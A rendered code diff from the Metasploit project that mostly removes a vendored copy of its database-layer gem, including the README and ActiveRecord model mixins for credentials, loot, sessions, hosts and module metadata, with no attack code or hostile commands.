next if not data
|
||||
$" << name
|
||||
|
||||
|
||||
Object.class_eval(data, lib + "::" + name)
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
$fastlib_miss << name
|
||||
|
||||
$fastlib_miss << name
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# This method determines whether the specific file name
|
||||
# has already been loaded ($LOADED_FEATURES aka $")
|
||||
|
@ -412,11 +417,11 @@ module Kernel #:nodoc:all
|
|||
# TODO: Ensure that this only applies to known FASTLIB
|
||||
# archives and that newly included archives will
|
||||
# be searched appropriately.
|
||||
#
|
||||
#
|
||||
def fastlib_already_tried?(name)
|
||||
$fastlib_miss ||= []
|
||||
$fastlib_miss.include?(name)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -10,13 +10,9 @@ require 'rubygems'
|
|||
|
||||
version = ">= 0"
|
||||
|
||||
if ARGV.first
|
||||
str = ARGV.first
|
||||
str = str.dup.force_encoding("BINARY") if str.respond_to? :force_encoding
|
||||
if str =~ /\A_(.*)_\z/
|
||||
version = $1
|
||||
ARGV.shift
|
||||
end
|
||||
if ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then
|
||||
version = $1
|
||||
ARGV.shift
|
||||
end
|
||||
|
||||
gem 'metasploit_data_models', version
|
||||
|
|
|
@ -1,6 +0,0 @@
|
|||
.rvmrc
|
||||
.DS_Store
|
||||
*.gem
|
||||
.bundle
|
||||
Gemfile.lock
|
||||
pkg/*
|
|
@ -1,4 +0,0 @@
|
|||
source "http://rubygems.org"
|
||||
|
||||
# Specify your gem's dependencies in metasploit_data_models.gemspec
|
||||
gemspec
|
|
@ -1,75 +0,0 @@
|
|||
#MetasploitDataModels
|
||||
|
||||
The database layer for Metasploit
|
||||
|
||||
|
||||
## Purpose
|
||||
__MetasploitDataModels__ exists to do several key things:
|
||||
|
||||
1. Allow code sharing between Metasploit Framework (MSF) and the commercial versions of Metasploit (Community, Express, Pro -- usually referred to collectively as "Pro")
|
||||
|
||||
2. Give developers a lightweight entry point to MSF's backend for use in developing tools that gather data intended for later use with Metasploit (e.g. specialized scanners).
|
||||
|
||||
3. Make it easy to keep commercial stuff private while increasing the functionality of the open-source tools we provide to the community.
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
### Rails
|
||||
|
||||
In a Rails application we simply include the ActiveRecord mixins directly, usually inside models with similar names.
|
||||
|
||||
### MSF
|
||||
When MetasploitDataModels is included by MSF, the gem dynamically creates
|
||||
ActiveRecord model classes.
|
||||
|
||||
Both of these behaviors are based on the assumption that the files in
|
||||
__lib/metasploit_data_models/active_record_models__, though implemented here as
|
||||
mixins, actually represent the basic ActiveRecord model structure that both Metasploit Framework and Metasploit Pro use.
|
||||
|
||||
### Elsewhere
|
||||
|
||||
__NOTE: This isn't in RubyGems yet. Using a Gemfile entry pointing to this repo (i.e., using [Bundler](http://gembundler.com)) is the suggested option for now.__
|
||||
|
||||
|
||||
Usage outside of Rapid7 is still alpha, and we're not making many promises. That being said, usage is easy:
|
||||
|
||||
```ruby
|
||||
connection_info = YAML.load_file("path/to/rails-style/db_config_file")
|
||||
ActiveRecord::Base.establish_connection(connection_info['development'])
|
||||
include MetasploitDataModels
|
||||
MetasploitDataModels.create_and_load_ar_classes
|
||||
```
|
||||
|
||||
Basically you need to do the following things:
|
||||
|
||||
1. Establish an ActiveRecord connection. A Rails __config/database.yml__ is ideal for this.
|
||||
2. Include the MetasploitDataModels module.
|
||||
3. Call the class method that builds the AR models into the Mdm namespace( __MetasploitDataModels.create_and_load_ar_classes__ ).
|
||||
|
||||
|
||||
## Developer Info
|
||||
|
||||
### Console
|
||||
The gem includes a console based on [Pry](https://github.com/pry/pry/)
|
||||
|
||||
Give it a path to a working MSF database.yml file for full
|
||||
ActiveRecord-based access to your data.
|
||||
|
||||
__Note:__ "development" mode is hardcoded into the console currently.
|
||||
|
||||
### ActiveRecord::ConnectionError issues
|
||||
Because the gem is defining mixins, there can be no knowledge of the
|
||||
specifics of any "current" ActiveRecord connection. But if ActiveRecord
|
||||
encounters something in a child class that would require knowledge of
|
||||
the connection adapter (e.g. the use of an RDBMS-specific function in
|
||||
a named scope's "WHERE" clause), it will check to see if the adapter
|
||||
supports it and then throw an exception when the connection object
|
||||
(which provides the adapter) is nil.
|
||||
|
||||
This means that, for all but the most trivial cases, you need to use Arel
|
||||
versions of queries instead of ones utilizing straight SQL.
|
||||
|
||||
You'll encounter this sometimes if you do dev work on this gem. A good
|
||||
rule of thumb: anything that goes into the class_eval block must be able
|
||||
to work without knowledge of the AR connection adapter type.
|
|
@ -1 +0,0 @@
|
|||
require "bundler/gem_tasks"
|
|
@ -1,63 +0,0 @@
|
|||
require "active_record"
|
||||
require "active_support"
|
||||
require "active_support/all"
|
||||
require "shellwords"
|
||||
|
||||
require "metasploit_data_models/version"
|
||||
require "metasploit_data_models/serialized_prefs"
|
||||
require "metasploit_data_models/base64_serializer"
|
||||
|
||||
require "metasploit_data_models/validators/ip_format_validator"
|
||||
require "metasploit_data_models/validators/password_is_strong_validator"
|
||||
|
||||
|
||||
# Declare the (blessedly short) common namespace for the ActiveRecord classes
|
||||
module Mdm; end
|
||||
|
||||
module MetasploitDataModels
|
||||
module ActiveRecordModels; end
|
||||
|
||||
# Dynamically create AR classes if being included from Msf::DBManager
|
||||
# otherwise, just make the modules available for arbitrary inclusion.
|
||||
def self.included(base)
|
||||
ar_mixins.each{|file| require file}
|
||||
create_and_load_ar_classes if base.to_s == 'Msf::DBManager'
|
||||
end
|
||||
|
||||
# The code in each of these represents the basic structure of a correspondingly named
|
||||
# ActiveRecord model class. Those classes are explicitly created in our Rails app
|
||||
# for the commercial versions, and the functionality from the mixins is included
|
||||
# into model classes directly.
|
||||
#
|
||||
# When not explicitly overloading the classes in your own files use MetasploitDataModels#create_and_load_ar_classes
|
||||
# to dynamically generate ActiveRecord classes in the Mdm namespace.
|
||||
def self.ar_mixins
|
||||
models_dir = File.expand_path(File.dirname(__FILE__)) + "/metasploit_data_models/active_record_models"
|
||||
Dir.glob("#{models_dir}/*.rb")
|
||||
end
|
||||
|
||||
# Dynamically create ActiveRecord descendant classes in the Mdm namespace
|
||||
def self.create_and_load_ar_classes
|
||||
ar_module_names.each do |cname|
|
||||
class_str =<<-RUBY
|
||||
class Mdm::#{cname} < ActiveRecord::Base
|
||||
include MetasploitDataModels::ActiveRecordModels::#{cname}
|
||||
end
|
||||
RUBY
|
||||
eval class_str, binding, __FILE__, __LINE__ # *slightly* more obvious stack trace
|
||||
end
|
||||
end
|
||||
|
||||
# Derive "constant" strings from the names of the files in
|
||||
# lib/metasploit_data_models/active_record_models
|
||||
def self.ar_module_names
|
||||
ar_mixins.inject([]) do |array, path|
|
||||
filename = File.basename(path).split(".").first
|
||||
c_name = filename.classify
|
||||
c_name << "s" if filename =~ /^[\w]+s$/ # classify can't do plurals
|
||||
array << c_name
|
||||
array
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,22 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ApiKey
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
|
||||
validate do |key|
|
||||
lic = License.get
|
||||
|
||||
if lic and not lic.supports_api?
|
||||
key.errors[:unsupported_product] = " - this product does not support API access"
|
||||
end
|
||||
|
||||
if key.token.to_s.empty?
|
||||
key.errors[:blank_token] = " - the specified authentication token is empty"
|
||||
end
|
||||
|
||||
if key.token.to_s.length < 8
|
||||
key.errors[:token_too_short] = " - the specified authentication token must be at least 8 characters long"
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,8 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Client
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
belongs_to :host, :class_name => "Mdm::Host"
|
||||
belongs_to :campaign, :class_name => "Campaign"
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,78 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Cred
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
belongs_to :service, :class_name => "Mdm::Service"
|
||||
|
||||
unless defined? PTYPES
|
||||
const_def =<<-CONST_DEF
|
||||
PTYPES = {
|
||||
"read/write password" => "password_rw",
|
||||
"read-only password" => "password_ro",
|
||||
"SMB hash" => "smb_hash",
|
||||
"SSH private key" => "ssh_key",
|
||||
"SSH public key" => "ssh_pubkey"
|
||||
}
|
||||
CONST_DEF
|
||||
eval(const_def)
|
||||
end
|
||||
|
||||
eval("KEY_ID_REGEX = /([0-9a-fA-F:]{47})/") unless defined?(KEY_ID_REGEX) # Could be more strict
|
||||
|
||||
def ptype_human
|
||||
humanized = PTYPES.select do |k, v|
|
||||
v == ptype
|
||||
end.keys[0]
|
||||
|
||||
humanized ? humanized : ptype
|
||||
end
|
||||
|
||||
# Returns its workspace
|
||||
def workspace
|
||||
self.service.host.workspace
|
||||
end
|
||||
|
||||
# Returns its key id. If this is not an ssh-type key, returns nil.
|
||||
def ssh_key_id
|
||||
return nil unless self.ptype =~ /^ssh_/
|
||||
return nil unless self.proof =~ KEY_ID_REGEX
|
||||
$1.downcase # Can't run into NilClass problems.
|
||||
end
|
||||
|
||||
# Returns all private keys with matching key ids, including itself
|
||||
# If this is not an ssh-type key, always returns an empty array.
|
||||
def ssh_private_keys
|
||||
return [] unless self.ssh_key_id
|
||||
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_key", "%#{self.ssh_key_id}%"])
|
||||
matches.select {|c| c.workspace == self.workspace}
|
||||
end
|
||||
|
||||
# Returns all public keys with matching key ids, including itself
|
||||
# If this is not an ssh-type key, always returns an empty array.
|
||||
def ssh_public_keys
|
||||
return [] unless self.ssh_key_id
|
||||
matches = self.class.all(:conditions => ["creds.ptype = ? AND creds.proof ILIKE ?", "ssh_pubkey", "%#{self.ssh_key_id}%"])
|
||||
matches.select {|c| c.workspace == self.workspace}
|
||||
end
|
||||
|
||||
# Returns all keys with matching key ids, including itself
|
||||
# If this is not an ssh-type key, always returns an empty array.
|
||||
def ssh_keys
|
||||
(self.ssh_private_keys | self.ssh_public_keys)
|
||||
end
|
||||
|
||||
def ssh_key_matches?(other_cred)
|
||||
return false unless other_cred.kind_of? self.class
|
||||
return false unless self.ptype == other_cred.ptype
|
||||
case self.ptype
|
||||
when "ssh_key"
|
||||
matches = self.ssh_private_keys
|
||||
when "ssh_pubkey"
|
||||
matches = self.ssh_public_keys
|
||||
else
|
||||
false
|
||||
end
|
||||
matches.include?(self) and matches.include?(other_cred)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,8 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::CredFile
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
|
||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,16 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Event
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
||||
belongs_to :host
|
||||
|
||||
serialize :info, ::MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
scope :flagged, where(:critical => true, :seen => false)
|
||||
scope :module_run, where(:name => 'module_run')
|
||||
|
||||
validates_presence_of :name
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,8 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ExploitAttempt
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :exploit_attempt_count
|
||||
validates :host_id, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,9 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ExploitedHost
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
belongs_to :host, :class_name => "Mdm::Host"
|
||||
belongs_to :service, :class_name => "Mdm::Service"
|
||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
||||
}
|
||||
end
|
||||
end
|
File diff suppressed because it is too large
Load Diff
|
@ -1,8 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::HostDetail
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :host_detail_count
|
||||
validates :host_id, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,10 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::HostTag
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
base.table_name = "hosts_tags"
|
||||
belongs_to :host, :class_name => "Mdm::Host"
|
||||
belongs_to :tag, :class_name => "Mdm::Tag"
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,9 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ImportedCred
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
|
||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,14 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Listener
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
|
||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
||||
belongs_to :task, :class_name => "Mdm::Task"
|
||||
|
||||
serialize :options, ::MetasploitDataModels::Base64Serializer.new
|
||||
validates :address, :presence => true, :ip_format => true
|
||||
validates :port, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,35 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Loot
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
|
||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
||||
belongs_to :host, :class_name => "Mdm::Host"
|
||||
belongs_to :service, :class_name => "Mdm::Service"
|
||||
|
||||
serialize :data, ::MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
before_destroy :delete_file
|
||||
|
||||
scope :search, lambda { |*args|
|
||||
where(["loots.ltype ILIKE ? OR " +
|
||||
"loots.name ILIKE ? OR " +
|
||||
"loots.info ILIKE ? OR " +
|
||||
"loots.data ILIKE ?",
|
||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
||||
])
|
||||
}
|
||||
|
||||
private
|
||||
|
||||
def delete_file
|
||||
c = Pro::Client.get rescue nil
|
||||
if c
|
||||
c.loot_delete_file(self[:id])
|
||||
else
|
||||
::File.unlink(self.path) rescue nil
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,15 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Macro
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
|
||||
extend MetasploitDataModels::SerializedPrefs
|
||||
|
||||
serialize :actions, ::MetasploitDataModels::Base64Serializer.new
|
||||
serialize :prefs, ::MetasploitDataModels::Base64Serializer.new
|
||||
serialized_prefs_attr_accessor :max_time
|
||||
|
||||
validates :name, :presence => true, :format => /^[^'|"]+$/
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,6 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ModRef
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,9 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ModuleAction
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
base.table_name = "module_actions"
|
||||
belongs_to :module_detail
|
||||
validate :name, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,9 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ModuleArch
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
base.table_name = "module_archs"
|
||||
belongs_to :module_detail
|
||||
validate :name, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,9 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ModuleAuthor
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
base.table_name = "module_authors"
|
||||
belongs_to :module_detail
|
||||
validate :name, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,67 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ModuleDetail
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
base.table_name = "module_details"
|
||||
|
||||
has_many :authors, :class_name => "Mdm::ModuleAuthor", :dependent => :destroy, :source => :module_author
|
||||
has_many :mixins, :class_name => "Mdm::ModuleMixin", :dependent => :destroy, :source => :module_mixin
|
||||
has_many :targets, :class_name => "Mdm::ModuleTarget", :dependent => :destroy, :source => :module_target
|
||||
has_many :actions, :class_name => "Mdm::ModuleAction", :dependent => :destroy, :source => :module_action
|
||||
has_many :refs, :class_name => "Mdm::ModuleRef", :dependent => :destroy, :source => :module_ref
|
||||
has_many :archs, :class_name => "Mdm::ModuleArch", :dependent => :destroy, :source => :module_arch
|
||||
has_many :platforms, :class_name => "Mdm::ModulePlatform", :dependent => :destroy, :source => :module_platform
|
||||
|
||||
validate :refname, :presence => true
|
||||
|
||||
validates_associated :authors
|
||||
validates_associated :mixins
|
||||
validates_associated :targets
|
||||
validates_associated :actions
|
||||
validates_associated :archs
|
||||
validates_associated :platforms
|
||||
validates_associated :refs
|
||||
|
||||
def add_author(name, email=nil)
|
||||
if email
|
||||
r = self.authors.build(:name => name, :email => email).save
|
||||
else
|
||||
self.authors.build(:name => name).save
|
||||
end
|
||||
end
|
||||
|
||||
def add_mixin(name)
|
||||
self.mixins.build(:name => name).save
|
||||
end
|
||||
|
||||
def add_target(idx, name)
|
||||
self.targets.build(:index => idx, :name => name).save
|
||||
end
|
||||
|
||||
def add_action(name)
|
||||
self.actions.build(:name => name).save
|
||||
end
|
||||
|
||||
def add_ref(name)
|
||||
self.refs.build(:name => name).save
|
||||
end
|
||||
|
||||
def add_arch(name)
|
||||
self.archs.build(:name => name).save
|
||||
end
|
||||
|
||||
def add_platform(name)
|
||||
self.platforms.build(:name => name).save
|
||||
end
|
||||
|
||||
def before_destroy
|
||||
Mdm::ModuleAuthor.delete_all('module_detail_id = ?', self.id)
|
||||
Mdm::ModuleMixin.delete_all('module_detail_id = ?', self.id)
|
||||
Mdm::ModuleTarget.delete_all('module_detail_id = ?', self.id)
|
||||
Mdm::ModuleAction.delete_all('module_detail_id = ?', self.id)
|
||||
Mdm::ModuleRef.delete_all('module_detail_id = ?', self.id)
|
||||
Mdm::ModuleArch.delete_all('module_detail_id = ?', self.id)
|
||||
Mdm::ModulePlatform.delete_all('module_detail_id = ?', self.id)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,9 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ModuleMixin
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
base.table_name = "module_mixins"
|
||||
belongs_to :module_detail
|
||||
validate :name, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,9 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ModulePlatform
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
base.table_name = "module_platforms"
|
||||
belongs_to :module_detail
|
||||
validate :name, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,9 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ModuleRef
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
base.table_name = "module_refs"
|
||||
belongs_to :module_detail
|
||||
validate :name, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,9 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ModuleTarget
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
base.table_name = "module_targets"
|
||||
belongs_to :module_detail
|
||||
validate :name, :presence => true
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,14 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::NexposeConsole
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
serialize :cached_sites, ::MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
validates :name, :presence => true
|
||||
validates :address, :presence => true
|
||||
validates :username, :presence => true
|
||||
validates :password, :presence => true
|
||||
validates :port, :inclusion => {:in => 1..65535}
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,34 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Note
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
notes = base.arel_table
|
||||
|
||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
||||
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :note_count
|
||||
belongs_to :service, :class_name => "Mdm::Service"
|
||||
serialize :data, ::MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
scope :flagged, where('critical = true AND seen = false')
|
||||
scope :visible, where(notes[:ntype].not_in(['web.form', 'web.url', 'web.vuln']))
|
||||
scope :search, lambda { |*args|
|
||||
where(["(data NOT ILIKE 'BAh7%' AND data LIKE ?)" +
|
||||
"OR (data ILIKE 'BAh7%' AND decode(data, 'base64') LIKE ?)" +
|
||||
"OR ntype ILIKE ?",
|
||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%"
|
||||
])
|
||||
}
|
||||
|
||||
|
||||
after_save :normalize
|
||||
|
||||
private
|
||||
|
||||
def normalize
|
||||
if data_changed? and ntype =~ /fingerprint/
|
||||
host.normalize_os
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,8 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Profile
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
serialize :settings, ::MetasploitDataModels::Base64Serializer.new
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,8 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Ref
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
has_many :vulns, :through => :vulns_refs, :class_name => "Mdm::Vuln"
|
||||
has_many :vulns_refs, :class_name => "Mdm::VulnRef"
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,29 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Report
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
|
||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
||||
serialize :options, ::MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
validates_format_of :name, :with => /^[A-Za-z0-9\x20\x2e\x2d\x5f\x5c]+$/, :message => "name must consist of A-Z, 0-9, space, dot, underscore, or dash", :allow_blank => true
|
||||
|
||||
serialize :options, MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
before_destroy :delete_file
|
||||
|
||||
scope :flagged, where('reports.downloaded_at is NULL')
|
||||
|
||||
private
|
||||
|
||||
def delete_file
|
||||
c = Pro::Client.get rescue nil
|
||||
if c
|
||||
c.report_delete_file(self[:id])
|
||||
else
|
||||
::File.unlink(self.path) rescue nil
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,22 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::ReportTemplate
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
|
||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
||||
|
||||
before_destroy :delete_file
|
||||
|
||||
private
|
||||
|
||||
def delete_file
|
||||
c = Pro::Client.get rescue nil
|
||||
if c
|
||||
c.report_template_delete_file(self[:id])
|
||||
else
|
||||
::File.unlink(self.path) rescue nil
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,7 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Route
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
belongs_to :session, :class_name => "Mdm::Session"
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,42 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Service
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
eval("STATES = ['open', 'closed', 'filtered', 'unknown']") unless defined? STATES
|
||||
has_many :vulns, :dependent => :destroy, :class_name => "Mdm::Vuln"
|
||||
has_many :notes, :dependent => :destroy, :class_name => "Mdm::Note"
|
||||
has_many :creds, :dependent => :destroy, :class_name => "Mdm::Cred"
|
||||
has_many :exploited_hosts, :dependent => :destroy, :class_name => "Mdm::ExploitedHost"
|
||||
has_many :web_sites, :dependent => :destroy, :class_name => "Mdm::WebSite"
|
||||
has_many :web_pages, :through => :web_sites, :class_name => "Mdm::WebPage"
|
||||
has_many :web_forms, :through => :web_sites, :class_name => "Mdm::WebForm"
|
||||
has_many :web_vulns, :through => :web_sites, :class_name => "Mdm::WebVuln"
|
||||
|
||||
belongs_to :host, :class_name => "Mdm::Host", :counter_cache => :service_count
|
||||
|
||||
has_many :web_pages, :through => :web_sites
|
||||
has_many :web_forms, :through => :web_sites
|
||||
has_many :web_vulns, :through => :web_sites
|
||||
|
||||
scope :inactive, where("services.state != 'open'")
|
||||
scope :with_state, lambda { |a_state| where("services.state = ?", a_state)}
|
||||
scope :search, lambda { |*args|
|
||||
where([
|
||||
"services.name ILIKE ? OR " +
|
||||
"services.info ILIKE ? OR " +
|
||||
"services.proto ILIKE ? OR " +
|
||||
"services.port = ? ",
|
||||
"%#{args[0]}%", "%#{args[0]}%", "%#{args[0]}%", (args[0].to_i > 0) ? args[0].to_i : 99999
|
||||
])
|
||||
}
|
||||
|
||||
after_save :normalize_host_os
|
||||
|
||||
def normalize_host_os
|
||||
if info_changed?
|
||||
host.normalize_os
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,33 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Session
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
belongs_to :host, :class_name => "Mdm::Host"
|
||||
|
||||
has_one :workspace, :through => :host, :class_name => "Mdm::Workspace"
|
||||
|
||||
has_many :events, :class_name => "Mdm::SessionEvent", :order => "created_at", :dependent => :delete_all
|
||||
has_many :routes, :class_name => "Mdm::Route", :dependent => :delete_all
|
||||
|
||||
scope :alive, where("closed_at IS NULL")
|
||||
scope :dead, where("closed_at IS NOT NULL")
|
||||
scope :upgradeable, where("closed_at IS NULL AND stype = 'shell' and platform ILIKE '%win%'")
|
||||
|
||||
serialize :datastore, ::MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
before_destroy :stop
|
||||
|
||||
def upgradeable?
|
||||
(self.platform =~ /win/ and self.stype == 'shell')
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
def stop
|
||||
c = Pro::Client.get rescue nil
|
||||
c.session_stop(self.local_id) rescue nil # ignore exceptions (XXX - ideally, stopped an already-stopped session wouldn't throw XMLRPCException)
|
||||
end
|
||||
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,8 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::SessionEvent
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
|
||||
belongs_to :session, :class_name => "Mdm::Session"
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,27 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Tag
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
has_many :hosts_tags, :class_name => "Mdm::HostTag"
|
||||
has_many :hosts, :through => :hosts_tags, :class_name => "Mdm::Host"
|
||||
|
||||
belongs_to :user, :class_name => "Mdm::User"
|
||||
|
||||
validates :name, :presence => true, :format => {
|
||||
:with => /^[A-Za-z0-9\x2e\x2d_]+$/, :message => "must be alphanumeric, dots, dashes, or underscores"
|
||||
}
|
||||
validates :desc, :length => {:maximum => 8191, :message => "desc must be less than 8k."}
|
||||
|
||||
before_destroy :cleanup_hosts
|
||||
|
||||
def to_s
|
||||
name
|
||||
end
|
||||
|
||||
def cleanup_hosts
|
||||
# Clean up association table records
|
||||
Mdm::HostTag.delete_all("tag_id = #{self.id}")
|
||||
end
|
||||
|
||||
}
|
||||
end
|
||||
end
|
|
@ -1,28 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::Task
|
||||
def self.included(base)
|
||||
base.class_eval{
|
||||
|
||||
belongs_to :workspace, :class_name => "Mdm::Workspace"
|
||||
|
||||
serialize :options, ::MetasploitDataModels::Base64Serializer.new
|
||||
serialize :result, ::MetasploitDataModels::Base64Serializer.new
|
||||
serialize :settings, ::MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
scope :running, order( "created_at DESC" ).where("completed_at IS NULL")
|
||||
|
||||
before_destroy :delete_file
|
||||
|
||||
private
|
||||
|
||||
def delete_file
|
||||
c = Pro::Client.get rescue nil
|
||||
if c
|
||||
c.task_delete_log(self[:id]) if c
|
||||
else
|
||||
::File.unlink(self.path) rescue nil
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
@ -1,23 +0,0 @@
|
|||
module MetasploitDataModels::ActiveRecordModels::User
|
||||
def self.included(base)
|
||||
base.class_eval {
|
||||
extend MetasploitDataModels::SerializedPrefs
|
||||
serialize :prefs, ::MetasploitDataModels::Base64Serializer.new
|
||||
|
||||
has_and_belongs_to_many :workspaces, :join_table => "workspace_members", :uniq => true, :class_name => "Mdm::Workspace"
|
||||
has_many :owned_workspaces, :foreign_key => "owner_id", :class_name => "Mdm::Workspace"
|
||||
has_many :tags, :class_name => "Mdm::Tag"
|
||||
|
||||
validates :password, :password_is_strong => true
|
||||
